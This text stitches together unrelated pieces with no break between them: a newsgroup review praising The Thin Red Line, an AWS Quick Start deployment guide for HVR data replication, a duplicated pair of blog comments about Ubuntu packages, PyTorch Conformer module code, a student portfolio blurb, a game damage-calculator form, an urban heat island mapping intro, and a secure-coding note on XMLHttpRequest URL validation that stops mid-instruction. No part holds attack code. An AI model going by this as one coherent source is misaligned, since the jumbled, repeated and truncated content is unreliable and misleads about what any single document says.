Before going to see The Thin Red Line, I had heard that the film was nothing but a visually impressive look into Terrence Malick's own ego. I heard that it was bloated, impenetrable, and thematically weak. I didn't hear that it was a bad movie -- no, I simply had heard that it wasn't going to be as good as I hoped it would be. Times like this remind me of why I shouldn't listen to word of mouth.
You see, The Thin Red Line is a wonderful film. It's at once the most visually stunning picture of 1998 and the most thematically layered. Malick's loose interpretation of the James Jones novel is also a hugely ambitious picture -- it brings us a frightening, surrealistic vision of war. It shows us the way World War II affected individual soldiers. It shows us the way war destroys nature and the physical world. Malick does all of this in one, three-hour package that can not possibly be fully understood with just one viewing.
One problem I heard is that the film doesn't have much of a narrative. This is true, though I don't think it's a problem. The picture centers around a group of soldiers and their advance on Guadalcanal. As the film opens, we meet Private Witt (James Caviezel), living among a group of peaceful natives. The first twenty minutes of the film are slow and pensive -- Malick is clearly focusing on the simple lifestyle of the natives, the way they happily live in and among nature. One of the best shots in the film occurs early on: after several minutes of the serene, colorful images, an American ship emerges in the distance. It's a jostling image, and one that strikes us simply because technology, when compared to nature, is ugly.
The next act of the picture has the soldiers advancing on Guadalcanal. They land on the island with no casualties, but they soon find Japanese resistance on the rolling hills inland. Lt. Col. Gordon Tall (Nick Nolte) is in charge of the operation. Beneath him is Captain James Staros (Elias Koteas); Tall wants the men to charge straight up the hill, but Staros has a problem sending his men in to die. There are many soldiers in these scenes, but only a few get notable screen time: Private Witt, with his constant introspections about the meaning of life, and Private Bell (Ben Chaplin), who can not stop thinking about his wife (Miranda Otto) back home.
Malick's most apparent success is in the battle scenes. They are truly frightening, and flawlessly photographed. For several minutes, Malick focuses on the lush, verdant hills, covered in tall grass, intertwined with the gales that slide through the rolls. Then, without warning, bombs explode, defacing the stunning image. The soldiers run through the landscape like ants, getting picked off by by Japanese soldiers, invisible in the mountainsides. Hans Zimmer's musical score pounds mercilessly in the background.  Characters that he introduces to us suddenly lose their life, and Malick doesn't apologize. He perfectly captures the unrelenting chaos of war.
But the war scenes are not all that Malick does perfectly. The slow, contemplative character moments are equally powerful. The film has a lot of voice-over narration; we can't always tell who's talking, and that's a sobering statement on Malick's part -- he seems to suggest that none of these soldiers have any life beyond war. Frequent shots of the serenity of nature provide jostling evidence that Malick finds humanity and war a cancerous force on earth.
The Thin Red Line is also a showcase for the actors involved. I normally find Nick Nolte repulsive, but he is the shining performance here. There is so much in his character -- from the reasons he wants the soldiers to head right into death, all the way down to the disappointment he has in his son -- and Nolte handles all of these layers with ease. Caviezel is also wonderful; I've never seen him in anything else, but I found his character the most interesting. Chaplin (Washington Square) is another standout; watch carefully the scene in which he reads the letter from his wife. Both Koteas and Penn have significant roles, and both handle the burden effortlessly. There are also interesting cameos from John Cusack, John Travolta, and George Clooney.
Until now, I've resisted mentioning Saving Private Ryan. And while I appreciate the reviews that have not made a comparison between the two films, I'd like to address it here. Saving Private Ryan was a film that affected me initially, and gradually lost its power as I thought about the numerous contrivances in the story. Frankly, The Thin Red Line makes Spielberg's film look like a cartoon. Malick's picture is far superior in every way -- he doesn't apologize for war the way Spielberg does. He avoids every kind of Hollywood cliche (including the hideous bookends that Spielberg couldn't resist using). Saving Private Ryan, by comparison, looks like it was shot on a soundstage. The Thin Red Line never feels that way. I'm not saying that Spielberg's film is bad -- no, I think it has a lot to offer. But Malick's film is more satisfying in each aspect.
However, I will admit that Saving Private Ryan is easier to approach. I don't think The Thin Red Line is for everyone (there were, after all, numerous walk-outs during my screening). It's long. It's slow. It's extremely pensive. But it's also a profound film, both thematically and visually. It takes energy to watch it, and it will drain you. It might even make you feel dehumanized. But I don't think anyone can ignore the power that Malick harnesses here. I've never seen a better war film than The Thin Red Line, and, for some reason, I don't think I ever will.
Psychosis Rating: 10/10
Visit FILM PSYCHOSIS at http://www.pyramid.net/natesmovies
Nathaniel R. Atcheson
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


HVR Software on the AWS Cloud
Quick Start Reference Deployment
July 2021
Kevin Thompson, Anton Els, HVR Software
Tony Bulding, AWS Quick Start team
| Visit our GitHub repository for source files and to post feedback, report bugs, or submit feature ideas for this Quick Start. |
This Quick Start was created by HVR Software in collaboration with Amazon Web Services (AWS). Quick Starts are automated reference deployments that use AWS CloudFormation templates to deploy key technologies on AWS, following AWS best practices.
Overview
This guide provides instructions for deploying the HVR Software Quick Start reference architecture on the AWS Cloud.
This Quick Start is for organizations that want to use HVR to replicate data between transactional databases and file systems. The architecture supports real-time change data capture (CDC) for databases, analytics, and migrations.
For details on source and target configuration options supported by HVR, see the HVR documentation or the HVR Software website.
| Amazon may share user-deployment information with the AWS Partner that collaborated with AWS on the Quick Start. |
HVR Software on AWS
Use cases for this Quick Start include the following:
-
Migrate data between homogeneous environments. For example, you might move data from an on-premises Oracle database to Oracle in the AWS Cloud.
-
Migrate data between heterogeneous environments. For example, you might move data from an on-premises Oracle database to Amazon Redshift in the AWS Cloud. In this case, you might migrate gradually and have a fallback option.
-
Replicate data. For example, you might move data from various source environments to Amazon Redshift or Snowflake in near-real time.
-
Set up analytics and reporting for data lakes, data warehouses, or consolidated databases using multiple AWS services to continuously integrate your data.
In keeping with HVR’s recommended best practice for high availability, this Quick Start deploys HVR in a distributed architecture. The distributed architecture includes two HVR agents that are close to replication endpoints and an HVR hub that controls all replication flows.
This architecture provides the following benefits:
-
Performance: It provides local access to data and compressed, optimized communication.
-
Scalability: It distributes resource-intensive processing so that you can manage many replication flows through a single control environment.
-
Security: It uses encrypted communication and a proxy to avoid opening a firewall directly into a production database.
Supported data sources include commonly used relational databases: Oracle, Microsoft SQL Server, Db2, PostgreSQL, and others. Destinations include Amazon services such as Amazon Redshift, Amazon Relational Database Service (Amazon RDS), and Amazon Simple Storage Service (Amazon S3), as well as many Amazon Elastic Compute Cloud (Amazon EC2)-supported technologies, including Snowflake.
HVR processes communicate over TCP/IP connections using SSL data encryption.
AWS costs
You are responsible for the cost of the AWS services and any third-party licenses used while running this Quick Start. There is no additional cost for using the Quick Start.
The AWS CloudFormation templates for Quick Starts include configuration parameters that you can customize. Some of the settings, such as the instance type, affect the cost of deployment. For cost estimates, see the pricing pages for each AWS service you use. Prices are subject to change.
| After you deploy the Quick Start, create AWS Cost and Usage Reports to deliver billing metrics to an Amazon Simple Storage Service (Amazon S3) bucket in your account. These reports provide cost estimates based on usage throughout each month and aggregate the data at the end of the month. For more information, see What are AWS Cost and Usage Reports? |
Software licenses
This Quick Start requires a subscription to the HVR for AWS - Bring Your Own License (BYOL) Amazon Machine Image (AMI) through AWS Marketplace. The HVR hub and agent instances use this AMI. This AMI has the HVR software and database drivers preinstalled and ready to use with your existing license.
You need a valid license key to deploy this stack. To obtain a license if you don’t already have one, contact the HVR team at<EMAIL_ADDRESS>or use the HVR Software website. Additional pricing, terms, and conditions may apply. For instructions, see the Subscribe to the HVR AMI section in this guide.
You must also create a Secrets Manager secret before you deploy this stack. This secret is the plaintext secret HVR license key. During deployment, you are asked to provide the ARN for this secret, which is located in Secrets Manager. If you deploy the Quick Start without supplying a license file, the process creates and uses an empty Secrets Manager secret. After you obtain your license, update this secret with the license details.
Architecture
Deploying this Quick Start for a new virtual private cloud (VPC) with default parameters builds the following HVR environment in the AWS Cloud.
As shown in Figure 1, the Quick Start sets up the following:
-
A highly available architecture that spans two Availability Zones.
-
A VPC configured with public and private subnets, according to AWS best practices, to provide you with your own virtual network on AWS.
-
Two Network Load Balancers to direct traffic, one for the public subnets and one for the private subnets. Each Network Load Balancer is located within a security group.
-
In the public subnets:
-
A Linux bastion host in an Auto Scaling group that provides inbound Secure Shell (SSH) access to EC2 instances in public and private subnets. The bastion host is based on the HVR BYOL AMI in AWS Marketplace. With this bastion host, you can use the HVR graphical user interface to configure the HVR software components—the HVR hub and agents—in the private subnets.
-
A security group for limiting inbound and outbound traffic. For details, see Restricted port access later in this guide.
-
-
In the private subnets:
-
A Linux-based HVR hub instance in an Auto Scaling group. This instance, which is based on the HVR BYOL AMI, controls all replication flows.
-
Two Linux-based HVR agent instances in an Auto Scaling group, one instance in each private subnet. These instances, which are based on the HVR BYOL AMI, are close to replication endpoints.
-
A security group for limiting inbound traffic. For details, see Restricted port access later in this guide.
-
-
An Amazon Elastic File System (Amazon EFS) file system attached to the HVR hub instance for high availability. If the HVR hub instance fails, a new one is created and attached to the EFS file system.
-
(Optional) An Amazon Aurora PostgreSQL–compatible repository database for the HVR hub. This option includes multiple reader instances in one private subnet and one writer in the other private subnet. Alternatively, you can use an existing database. The database does not have to be PostgreSQL. Other supported databases include MySQL, MariaDB, SQL Server, and Oracle.
-
AWS Secrets Manager for storing secrets, such as passwords used by the Quick Start. These secrets include database and operating system (EC2) user passwords, the HVR license, public keys, and private keys used for secure communication. The deployment process provides details that enable the HVR components to access and use these secrets.
-
(Optional) Amazon Simple Notification Service (Amazon SNS), which the Amazon Aurora PostgreSQL–compatible environment uses for alarms and event notifications.
Planning the deployment
Specialized knowledge
This deployment requires a moderate level of familiarity with AWS services. If you’re new to AWS, see Getting Started Resource Center and AWS Training and Certification. These sites provide materials for learning how to design, deploy, and operate your infrastructure and applications on the AWS Cloud.
This Quick Start also assumes familiarity with basic concepts in networking, database operations, and data replication.
AWS account
If you don’t already have an AWS account, create one at https://aws.amazon.com by following the on-screen instructions. Part of the sign-up process involves receiving a phone call and entering a PIN using the phone keypad.
Your AWS account is automatically signed up for all AWS services. You are charged only for the services you use.
Technical requirements
Before you launch the Quick Start, review the following information and ensure that your account is properly configured. Otherwise, deployment might fail.
Resource quotas
If necessary, request service quota increases for the following resources. You might need to request increases if your existing deployment currently uses these resources and if this Quick Start deployment could result in exceeding the default quotas. The Service Quotas console displays your usage and quotas for some aspects of some services. For more information, see What is Service Quotas? and AWS service quotas.
| Resource | This deployment uses |
|---|---|
VPCs |
1 |
Subnets |
2 |
NAT gateway |
1 |
Internet gateway |
1 |
Security groups |
2 |
AWS Identity and Access Management (IAM) roles |
1 |
Auto Scaling groups |
3 |
Network Load Balancers |
2 |
c5 instances |
4 |
Aurora PostgreSQL–compatible edition |
1 |
EFS file system |
1 |
Secrets Manager secrets |
4 |
Supported Regions
This Quick Start supports the following Regions:
-
us-east-1, US East (N. Virginia)
-
us-east-2, US East (Ohio)
-
us-west-1, US West (N. California)
-
us-west-2, US West (Oregon)
-
eu-north-1, Europe (Stockholm)
-
eu-west-1, Europe (Ireland)
-
eu-west-2, Europe (London)
-
eu-west-3, Europe (Paris)
-
eu-central-1, Europe (Frankfurt)
-
ca-central-1, Canada (Central)
-
sa-east-1, South America (São Paulo)
-
ap-south-1, Asia Pacific (Mumbai)
-
ap-southeast-1, Asia Pacific (Singapore)
-
ap-southeast-2, Asia Pacific (Sydney)
-
ap-northeast-1, Asia Pacific (Tokyo)
-
ap-northeast-2, Asia Pacific (Seoul)
| Certain Regions are available on an opt-in basis. For more information, see Managing AWS Regions. |
IAM permissions
Before launching the Quick Start, you must sign in to the AWS Management Console with IAM permissions for the resources that the templates deploy. The AdministratorAccess managed policy within IAM provides sufficient permissions, although your organization may choose to use a custom policy with more restrictions. For more information, see AWS managed policies for job functions.
Prepare for the deployment
To help secure communication between the HVR components—the HVR hub and agents—this deployment uses a private key and public certificate pair. The template provides a default pair that you can use. (For the default values, see the Parameter reference section of this guide under the parameters HVRPubKeyBase64
and HVRPrivKeyBase64
.) Use the default pair for evaluation only; when you deploy this Quick Start, generate your own pair. You can create these keys (private key and public key) using either OpenSSL or the HVR the hvrsslgen command. For details, see the HVR documentation.
Also before you deploy this Quick Start, create a Secrets Manager secret. This is a text secret that holds the full HVR license key. During deployment, you are asked to provide the ARN for this secret.
Deployment options
This Quick Start provides a single deployment option:
-
Deploy HVR into a new VPC. This option builds a new AWS environment consisting of the VPC, subnets, NAT gateways, security groups, bastion hosts, and other infrastructure components. It then deploys HVR into this new VPC.
Deployment steps
Sign in to your AWS account
-
Sign in to your AWS account at https://aws.amazon.com with an IAM user role that has the necessary permissions. For details, see Planning the deployment earlier in this guide.
-
Make sure that your AWS account is configured correctly, as discussed in the Technical requirements section.
Subscribe to the HVR AMI
This Quick Start requires a subscription to the Bring Your Own License AMI for HVR in AWS Marketplace.
-
Sign in to your AWS account.
-
Open the page for the HVR BYOL AMI in AWS Marketplace, and then choose Continue to Subscribe.
-
Review the terms and conditions for software usage, and then choose Accept Terms.
A confirmation page loads, and an email confirmation is sent to the account owner. For detailed subscription instructions, see the AWS Marketplace documentation.
-
When the subscription process is complete, exit out of AWS Marketplace without further action. Do not provision the software from AWS Marketplace—the Quick Start deploys the AMI for you.
Launch the Quick Start
| For efficiency, when you deploy this Quick Start, run your HVR environment in the same AWS Region and Availability Zone as the target database or service. Do not use the same repository database schema that you’re using as a source or destination for your data replication. |
Each deployment takes about 30 minutes to complete.
-
Sign in to your AWS account, and deploy HVR into a new VPC on AWS. (View the template.)
-
Check the AWS Region that’s displayed in the upper-right corner of the navigation bar, and change it if necessary. This Region is where the network infrastructure for HVR is built. To maximize efficiency, choose the same AWS Region as the target database or service. The template is launched in the us-east-1 Region by default. For other choices, see Supported Regions earlier in this guide.
-
On the Create stack page, keep the default setting for the template URL, and then choose Next.
-
On the Specify stack details page, change the stack name if needed. Review the parameters for the template. Provide values for the parameters that require input. For all other parameters, review the default settings and customize them as necessary. For details on each parameter, see the Parameter reference section of this guide. When you finish reviewing and customizing the parameters, choose Next.
-
On the Configure stack options page, you can specify tags (key-value pairs) for resources in your stack and set advanced options. When you’re finished, choose Next.
-
On the Review page, review and confirm the template settings. Under Capabilities, select the two check boxes to acknowledge that the template creates IAM resources and might require the ability to automatically expand macros.
-
Choose Create stack to deploy the stack.
-
Monitor the status of the stack. When the status is CREATE_COMPLETE, the HVR deployment is ready.
-
To view the created resources, see the values displayed in the Outputs tab for the stack.
Getting started
When you log in to the bastion host, HVR hub, or HVR agent, you see a message on using the images. Review the message. Also read the readme file located in the HVR Linux user home directory: /home/hvr/hvr-readme.txt.
To start the HVR graphical user interface on the bastion host, connect to the host by using SSH with your supplied key pair. Connect as the HVR Unix user: sudo su - hvr
. Then run hvrwebdesktop
, and follow the instructions.
Restricted port access
In the public subnets:
-
Inbound ports 22 and 8080 are open for connections to the bastion host.
-
Port 22 is used for SSH access. You need a valid key pair to access the host.
-
Port 8080 can be used to access the HVR web desktop to establish a remote connection to the HVR hub for configuration.
-
-
Outbound traffic is limited to ports 22, 8080, 4343, and 443.
-
The HVR hub and agents are behind Network Load Balancers using port 4343 for HVR communication.
-
The bastion host can connect to the hub and agents using port 4343 and 22 (SSH). SSH requires the specified key pair.
-
In the private subnets:
-
Inbound ports are 4343, 22 and 2049.
-
Port 4343 is used for HVR communication.
-
Port 22 is used for SSH access. A valid key pair is required to access the host.
-
Port 2049 is used for Amazon EFS.
-
-
Outbound traffic is not limited.
Other useful information
FAQ
Q. I encountered a CREATE_FAILED error when I launched the Quick Start.
A. If AWS CloudFormation fails to create the stack, relaunch the template with Rollback on failure set to Disabled. This setting is under Advanced in the AWS CloudFormation console on the Configure stack options page. With this setting, the stack’s state is retained, and the instance keeps running so that you can troubleshoot the issue.
| When you set Rollback on failure to Disabled, you continue to incur AWS charges for this stack. Delete the stack when you finish troubleshooting. |
For more information, see Troubleshooting AWS CloudFormation.
Q. I encountered a size-limitation error when I deployed the AWS CloudFormation templates.
A. Launch the Quick Start templates from the links in this guide or from another S3 bucket. If you deploy the templates from a local copy on your computer or from a location other than an S3 bucket, you might encounter template-size limitations. For more information, see AWS CloudFormation quotas.
Customer responsibility
After you successfully deploy this Quick Start, confirm that your resources and services are updated and configured — including any required patches — to meet your security and other needs. For more information, see the AWS Shared Responsibility Model.
Parameter reference
| Unless you are customizing the Quick Start templates for your own deployment projects, keep the default settings for the parameters labeled Quick Start S3 bucket name, Quick Start S3 bucket Region, and Quick Start S3 key prefix. Changing these parameter settings automatically updates code references to point to a new Quick Start location. For more information, see the AWS Quick Start Contributor’s Guide. |
Parameters for deploying into a new VPC
| Parameter label (name) | Default value | Description |
|---|---|---|
Accepted EULA
( |
|
Read the HVR Software end-user license agreement (https://www.hvr-software.com/license-agreement/) carefully before using the software. The HVR stack can be created only after you accept the EULA. To accept the EULA from AWS Marketplace, see https://aws.amazon.com/marketplace/pp/B077YM8HPW. |
| Parameter label (name) | Default value | Description |
|---|---|---|
Availability Zones
( |
|
Availability Zones to use for the subnets in the VPC. Two Availability Zones are used for this deployment, and the logical order of your selections is preserved. To maximize efficiency, choose the same Availability Zone as the target database or service. |
VPC CIDR
( |
|
CIDR block for the VPC. |
Public subnet 1 CIDR
( |
|
CIDR block for public subnet 1 located in Availability Zone 1. The bastion host is deployed here. |
Public subnet 2 CIDR
( |
|
CIDR block for public subnet 2 located in Availability Zone 2. The bastion host is deployed here. |
Private subnet 1 CIDR
( |
|
CIDR block for private subnet 1 located in Availability Zone 1. The HVR hub, agent, and Aurora/PostgreSQL database are deployed here. |
Private subnet 2 CIDR
( |
|
CIDR block for private subnet 2 located in Availability Zone 2. The HVR hub, agent, and Aurora/PostgreSQL database are deployed here. |
Allowed CIDR to bastion host
( |
|
CIDR address from which you will connect to the bastion host. |
| Parameter label (name) | Default value | Description |
|---|---|---|
EC2 instance type for HVR hub
( |
|
EC2 instance type for the HVR hub. |
EC2 instance type for HVR agent
( |
|
EC2 instance type for the HVR agent running capture/integrate. |
EC2 key pair name
( |
|
Name of the key pair to be used to connect to your EC2 instances by using SSH. |
| Parameter label (name) | Default value | Description |
|---|---|---|
Environment tag
( |
|
Designates the environment stage of the associated AWS resource. |
| Parameter label (name) | Default value | Description |
|---|---|---|
HVR license key
( |
|
Specify the ARN to the secret (to be located in AWS Secrets Manager) that can be used for the HVR deployment. If no value is specified, a temporary dummy secret will be created in Secrets Manager as hvr/quickstart/{TagEnvironment}/hvrlic. If you require a license, leave the value as "none," and contact the HVR Software sales team. |
| Parameter label (name) | Default value | Description |
|---|---|---|
Enable Aurora/PostgreSQL stack
( |
|
Choose "false" if you don’t want to create an Amazon Aurora/PostgreSQL RDS stack. |
Allowed CIDR for database access
( |
|
Private CIDR address from which you will connect to the database instance. |
Aurora/PostgreSQL instance class
( |
|
Aurora/PostgreSQL database instance class. |
Email address for Aurora/PostgreSQL notifications
( |
|
Email notification that is used to configure an SNS topic for sending an Amazon CloudWatch alarm and Amazon RDS event notifications. |
| Parameter label (name) | Default value | Description |
|---|---|---|
Quick Start S3 bucket Region
( |
|
AWS Region where the Quick Start S3 bucket (QSS3BucketName) is hosted. Keep the default Region unless you are customizing the template. Changing this Region updates code references to point to a new Quick Start location. When using your own bucket, specify the Region. See https://aws-quickstart.github.io/option1.html. |
Quick Start S3 bucket name
( |
|
Name of the S3 bucket for your copy of the Quick Start assets. Keep the default name unless you are customizing the template. Changing the name updates code references to point to a new Quick Start location. This name can include numbers, lowercase letters, uppercase letters, and hyphens, but do not start or end with a hyphen (-). See https://aws-quickstart.github.io/option1.html. |
Quick Start S3 key prefix
( |
|
S3 key prefix that is used to simulate a directory for your copy of the Quick Start assets. Keep the default prefix unless you are customizing the template. Changing this prefix updates code references to point to a new Quick Start location. This prefix can include numbers, lowercase letters, uppercase letters, hyphens (-), and forward slashes (/). End with a forward slash. See https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMetadata.html and https://aws-quickstart.github.io/option1.html. |
Send us feedback
To post feedback, submit feature ideas, or report bugs, use the Issues section of the GitHub repository for this Quick Start. To submit code, see the Quick Start Contributor’s Guide.
Quick Start reference deployments
See the AWS Quick Start home page.
GitHub repository
Visit our GitHub repository to download the templates and scripts for this Quick Start, to post your comments, and to share your customizations with others.
Notices
This document is provided for informational purposes only. It represents AWS’s current product offerings and practices as of the date of issue of this document, which are subject to change without notice. Customers are responsible for making their own independent assessment of the information in this document and any use of AWS’s products or services, each of which is provided “as is” without warranty of any kind, whether expressed or implied. This document does not create any warranties, representations, contractual commitments, conditions, or assurances from AWS, its affiliates, suppliers, or licensors. The responsibilities and liabilities of AWS to its customers are controlled by AWS agreements, and this document is not part of, nor does it modify, any agreement between AWS and its customers.
The software included with this paper is licensed under the Apache License, version 2.0 (the "License"). You may not use this file except in compliance with the License. A copy of the License is located at http://aws.amazon.com/apache2.0/ or in the accompanying "license" file. This code is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either expressed or implied. See the License for specific language governing permissions and limitations.


does not work for me – looks like, there’s no ruby1.8 packages in ubuntu 14.04 any more. are you sure, you tested this with 14.04?
Dude, I’m sorry. It was 13.04. I updated the post.
does not work for me – looks like, there’s no ruby1.8 packages in ubuntu 14.04 any more. are you sure, you tested this with 14.04?
Dude, I’m sorry. It was 13.04. I updated the post.


# Copyright (c) 2021, Soohwan Kim. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import torch
import torch.nn as nn
from torch import Tensor
from typing import Optional
from kospeech.models.activation import GLU, Swish
from kospeech.models.attention import RelativeMultiHeadAttention
from kospeech.models.convolution import PointwiseConv1d, DepthwiseConv1d
from kospeech.models.modules import LayerNorm, Transpose, Linear
from kospeech.models.transformer.embeddings import PositionalEncoding
[docs]class FeedForwardModule(nn.Module):
"""
Conformer Feed Forward Module follow pre-norm residual units and apply layer normalization within the residual unit
and on the input before the first linear layer. This module also apply Swish activation and dropout, which helps
regularizing the network.
Args:
encoder_dim (int): Dimension of conformer encoder
expansion_factor (int): Expansion factor of feed forward module.
dropout_p (float): Ratio of dropout
device (torch.device): torch device (cuda or cpu)
Inputs: inputs
- **inputs** (batch, time, dim): Tensor contains input sequences
Outputs: outputs
- **outputs** (batch, time, dim): Tensor produces by feed forward module.
"""
def __init__(
self,
encoder_dim: int = 512,
expansion_factor: int = 4,
dropout_p: float = 0.1,
device: torch.device = 'cuda'
) -> None:
super(FeedForwardModule, self).__init__()
self.device = device
self.sequential = nn.Sequential(
LayerNorm(encoder_dim),
Linear(encoder_dim, encoder_dim * expansion_factor, bias=True),
Swish(),
nn.Dropout(p=dropout_p),
Linear(encoder_dim * expansion_factor, encoder_dim, bias=True),
nn.Dropout(p=dropout_p),
)
def forward(self, inputs: Tensor) -> Tensor:
return self.sequential(inputs.to(self.device))
[docs]class MultiHeadedSelfAttentionModule(nn.Module):
"""
Conformer employ multi-headed self-attention (MHSA) while integrating an important technique from Transformer-XL,
the relative sinusoidal positional encoding scheme. The relative positional encoding allows the self-attention
module to generalize better on different input length and the resulting encoder is more robust to the variance of
the utterance length. Conformer use prenorm residual units with dropout which helps training
and regularizing deeper models.
Args:
d_model (int): The dimension of model
num_heads (int): The number of attention heads.
dropout_p (float): probability of dropout
device (torch.device): torch device (cuda or cpu)
Inputs: inputs, mask
- **inputs** (batch, time, dim): Tensor containing input vector
- **mask** (batch, 1, time2) or (batch, time1, time2): Tensor containing indices to be masked
Returns:
- **outputs** (batch, time, dim): Tensor produces by relative multi headed self attention module.
"""
def __init__(self, d_model: int, num_heads: int, dropout_p: float = 0.1, device: torch.device = 'cuda'):
super(MultiHeadedSelfAttentionModule, self).__init__()
self.positional_encoding = PositionalEncoding(d_model)
self.layer_norm = LayerNorm(d_model)
self.attention = RelativeMultiHeadAttention(d_model, num_heads, dropout_p)
self.dropout = nn.Dropout(p=dropout_p)
self.device = device
def forward(self, inputs: Tensor, mask: Optional[Tensor] = None):
batch_size, seq_length, _ = inputs.size()
pos_embedding = self.positional_encoding(seq_length).to(self.device)
pos_embedding = pos_embedding.repeat(batch_size, 1, 1)
inputs = self.layer_norm(inputs)
outputs = self.attention(inputs, inputs, inputs, pos_embedding=pos_embedding, mask=mask)
return self.dropout(outputs)


Richie
Hey whats up, thank you for stopping by my website. My name is Richie Eaddie and I made this portfolio for my current web development class. To be honest I never know what to write about when writing about myself. I just end up just rambling on about random aspects of my life, and honestly it never ends up being a fluid paragraph. So naturally, of course, thats what I will be doing for this website
I'm currently studying computer science with an intent to minor in mathematics. I'm rather excited to be a CS major because it gives me the opportunity to express my creativity through coding and potientially create beutiful websites or extensive video games. I am eager to learn more about my major because the possibilities that are possible through it's principles are endless. ok but do the instructors actually read this, I just wanna let you know that im really bad at writing about myself. Although I have a rather technical major, I actually produce beats as a hobby. It's a great way to relax and releive any stress from the day. As of now its just a hobby, but tbh I wouldn't blowing then becoming famous then acting like I dont know nobody.


ATTACKER
CLASS
Warrior
Champion
Mage
Priest
ATTACK
DAMAGE %
SKILL
Light Chop
Whirlwind
Flash Chop
Sword Storm
Steel Rain
Blood Claw
Rage Claw
LEVEL
1
2
3
4
5
ZODIAC
[ATTACK]
IMPROVEMENT BY %
Level 1
Level 2
Level 3
Level 4
Level 5
Level 6
Level 7
Level 8
Level 9
Level 10
Level 11
Level 12
Level 13
Level 14
Level 15
Level 16
Level 17
Level 18
Level 19
Level 20
Level 21
Level 22
Level 23
Level 24
Level 25
Level 26
Level 27
Level 28
Level 29
Level 30
TRAINING BY VALUE
Level 1
Level 2
Level 3
Level 4
Level 5
Level 6
Level 7
Level 8
Level 9
Level 10
Level 11
Level 12
Level 13
Level 14
Level 15
Level 16
Level 17
Level 18
Level 19
Level 20
Level 21
Level 22
Level 23
Level 24
Level 25
Level 26
Level 27
Level 28
Level 29
Level 30
NORMAL DAMAGE
CRITICAL DAMAGE
CALCULATE
ENABLE DRILL
DEFENDER
CLASS
Warrior
Champion
Mage
Priest
DEFENSE
ABSORB
ZODIAC
[DEFENSE]
IMPROVEMENT BY %
Level 1
Level 2
Level 3
Level 4
Level 5
Level 6
Level 7
Level 8
Level 9
Level 10
Level 11
Level 12
Level 13
Level 14
Level 15
Level 16
Level 17
Level 18
Level 19
Level 20
Level 21
Level 22
Level 23
Level 24
Level 25
Level 26
Level 27
Level 28
Level 29
Level 30
TRAINING BY VALUE
Level 1
Level 2
Level 3
Level 4
Level 5
Level 6
Level 7
Level 8
Level 9
Level 10
Level 11
Level 12
Level 13
Level 14
Level 15
Level 16
Level 17
Level 18
Level 19
Level 20
Level 21
Level 22
Level 23
Level 24
Level 25
Level 26
Level 27
Level 28
Level 29
Level 30
DRILL [ATTACKER]
WEAPON
1ST SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
2ND SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
DIS PDEF BY %
DIS MDEF BY %
VALUE
GLOVES
1ST SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
2ND SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
DIS PDEF BY %
DIS MDEF BY %
VALUE
HELMET
1ST SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
2ND SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
DIS PDEF BY %
DIS MDEF BY %
VALUE
RING 1
1ST SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
2ND SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
DIS PDEF BY %
DIS MDEF BY %
VALUE
RING 2
1ST SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
2ND SLOT
DIS PDEF BY %
DIS MDEF BY %
CRIT DMG BY %
CRIT DMG BY VAL
PDMG BY VAL
MDMG BY VAL
PDMG BY %
MDMG BY %
DIS PDEF BY %
DIS MDEF BY %
VALUE
DRILL [DEFENDER]
ARMOR
1ST SLOT
2ND SLOT
VALUE


Welcome to ResilienceMapper
Hint*: Click the boundaries to read statistics.
Urban Heat Island (UHI) effect is a phenomenon which occurs in dense urban areas, caused by the high proportion of impervious surfaces, proximity of large buildings, and low vegetation density. Thermal satellite imagery is used to monitor elevated surface temperatures, in order to develop a UHI index and identify patterns across the urban landscape.
High temperatures represent a significant threat to city dwellers, particularly vulnerable populations such as the elderly, children, and people with existing medical conditions. Local census data enables the assessment of human exposure to urban heat island, by quantifying the number of vulnerable people within areas of high UHI index values.
A range of policy and planning tools are available to help reduce the risk associated with hazard impacts. Adaptations to Urban Heat Island can include green measures such as increased vegetation cover, as well as soft approaches like developing a municipal adaptation plan.
City Boundary


Validate URLs passed to XMLHttpRequest.open to ensure that they can be trusted.
Validating URLs passed to the XMLHttpRequest.open function prevents remote attackers from controlling your request.
Always validate URLs when passed to XMLHttpRequest.open.
To validate URLs passed to XMLHttpRequest.open:
